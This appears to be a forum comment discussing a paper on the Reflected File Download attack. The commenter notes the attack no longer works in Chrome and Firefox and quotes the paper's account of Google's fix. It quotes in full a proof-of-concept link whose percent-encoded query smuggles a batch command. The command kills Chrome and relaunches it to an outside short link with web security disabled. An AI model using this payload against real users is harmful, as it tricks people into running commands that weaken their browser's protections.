Reflected File Download: A New Web Attack Vector
I think the author is claiming that clicking on <a href="https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74%61%73%6b%6b%69%6c%6c%20%2f%46%20%2f%49%4d%20%63%68%2a%7c%6d%64%7c%7c%73%74%61%72%74%20%63%68%72%6f%6d%65%20%70%69%2e%76%75%2f%42%32%6a%6b%20%2d%2d%64%69%73%61%62%6c%65%2d%77%65%62%2d%73%65%63%75%72%69%74%79%20%2d%2d%64%69%73%61%62%6c%65%2d%70%6f%70%75%70%2d%62%6c%6f%63%6b%69%6e%67%7c%7c" rel="nofollow">https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?g...</a>
results in a file ChromeSetup.bat being downloaded, but in chrome and firefox the file downloaded is f.txt.<p>Has anyone tried this on other browsers?<p>EDIT:<p>Here is the portion of the paper explaining why this no longer works:<p>"However, a common implementation error could result in Reflected File Download from the worst kind. Content-Disposition headers SHOULD include a "filename" parameter, to avoid having the browser parse the filename from the URL.<p>This is the exact problem that multiple Google APIs suffered from until I reported it to the Google security team, leading to a massive fix in core Google components."